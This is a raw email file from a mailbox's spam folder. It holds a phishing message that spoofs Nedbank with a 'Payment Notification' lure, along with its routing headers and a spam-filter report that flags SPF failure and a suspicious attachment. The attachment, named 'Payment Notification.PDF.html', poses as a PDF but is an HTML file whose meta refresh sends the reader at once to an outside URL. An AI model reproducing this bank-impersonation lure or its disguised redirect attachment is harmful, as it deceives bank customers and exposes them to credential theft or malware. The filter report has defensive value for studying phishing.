File: /home/govancoz/mail/.spam/new/1722860698.M832458P3255833.zacp120.ve.host,S=6081,W=6215
Return-Path: <notification@nedbank.co.za>
Delivered-To: govancoz+spam@zacp120.ve.host
Received: from zacp120.ve.host
by zacp120.ve.host with LMTP
id QBjqMJrEsGYZrjEAvcbEzQ
(envelope-from <notification@nedbank.co.za>)
for <govancoz+spam@zacp120.ve.host>; Mon, 05 Aug 2024 14:24:58 +0200
Return-path: <notification@nedbank.co.za>
Envelope-to: candice@govan.co.za
Delivery-date: Mon, 05 Aug 2024 14:24:58 +0200
Received: from 42-200-210-96.static.imsbiz.com ([42.200.210.96]:38494 helo=mail.refholdings.com.hk)
by zacp120.ve.host with esmtp (Exim 4.97.1)
(envelope-from <notification@nedbank.co.za>)
id 1sawlj-0000000Dgnj-2bPU
for candice@govan.co.za;
Mon, 05 Aug 2024 14:24:58 +0200
Received: from localhost (localhost [127.0.0.1])
by newuniversegroup.com (Postfix) with ESMTP id 1B8BB55C6799;
Mon, 5 Aug 2024 20:23:02 +0800 (HKT)
X-Virus-Scanned: amavisd-new at newuniversegroup.com
Received: from newuniversegroup.com ([127.0.0.1])
by localhost (mail.refholdings.com.hk [127.0.0.1]) (amavisd-new, port 10024)
with LMTP id 6teMfKx5VC7s; Mon, 5 Aug 2024 20:22:59 +0800 (HKT)
Received: from [192.168.0.3] (unknown [41.216.202.138])
by newuniversegroup.com (Postfix) with ESMTPA id 926E955C3B13;
Mon, 5 Aug 2024 18:39:46 +0800 (HKT)
Content-Type: multipart/mixed; boundary="===============1620834374=="
MIME-Version: 1.0
To: Recipients <notification@nedbank.co.za>
From: Nedbank <notification@nedbank.co.za>
Date: Mon, 05 Aug 2024 03:39:38 -0700
X-Spam-Status: Yes, score=14.1
X-Spam-Score: 141
X-Spam-Bar: ++++++++++++++
X-Spam-Report: Spam detection software, running on the system "zacp120.ve.host",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: A payment has been made to your account. To view the details
of the payment, please open the attached PDF file. You may require Adobe
Acrobat Reader on your computer to open the PDF file. Please do not reply
as this email was sent from an unattended mailbox.
Content analysis details: (14.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 TVD_RCVD_IP Message was received from an IP address
4.0 SPF_FAIL SPF: sender does not match SPF record (fail)
[SPF failed: Please see http://www.openspf.org/Why?s=mfrom;id=notification%40nedbank.co.za;ip=42.200.210.96;r=zacp120.ve.host]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags
0.1 HTML_TAG_BALANCE_BODY BODY: HTML has unbalanced "body" tags
2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
[cf: 100]
1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[42.200.210.96 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
The query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[42.200.210.96 listed in sa-trusted.bondedsender.org]
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
1.5 KAM_DMARC_QUARANTINE DKIM has Failed or SPF has failed on the
message and the domain has a DMARC
quarantine policy
0.0 T_HTML_ATTACH HTML attachment to bypass scanning?
3.5 PHISH_ATTACH Attachment filename suspicious, probable phishing
0.0 FSL_BULK_SIG Bulk signature with no Unsubscribe
0.8 TO_EQ_FM_SPF_FAIL To == From and external SPF failed
0.0 TO_EQ_FM_DOM_SPF_FAIL To domain == From domain and external SPF
failed
X-Spam-Flag: YES
Subject: ***SPAM*** Payment Notification
You will not see this in a MIME-aware mail reader.
--===============1620834374==
Content-Type: multipart/alternative; boundary="===============0765352075=="
MIME-Version: 1.0
--===============0765352075==
Content-Type: text/plain; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
A payment has been made to your account.
To view the details of the payment, please open the attached PDF file.
=
You may require Adobe Acrobat Reader on your computer to open the PDF file.
=
Please do not reply as this email was sent from an unattended mailbox.
--===============0765352075==
Content-Type: text/html; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
<HTML><head>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859-=
1"></head><body><p>A payment has been made to your account.<br>
To view the details of the payment, please open the attached PDF file.<br>
<br>
You may require Adobe Acrobat Reader on your computer to open the PDF file.=
<br>
<br>
Please do not reply as this email was sent from an unattended mailbox.</p><=
/BODY></HTML>
--===============0765352075==--
--===============1620834374==
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="Payment Notification.PDF.html"
<!DOCTYPE html>
<meta http-equiv=3D"refresh" content=3D"00;https://aminsms.com/ybKkx">
<body class=3D"center">
</html>
--===============1620834374==--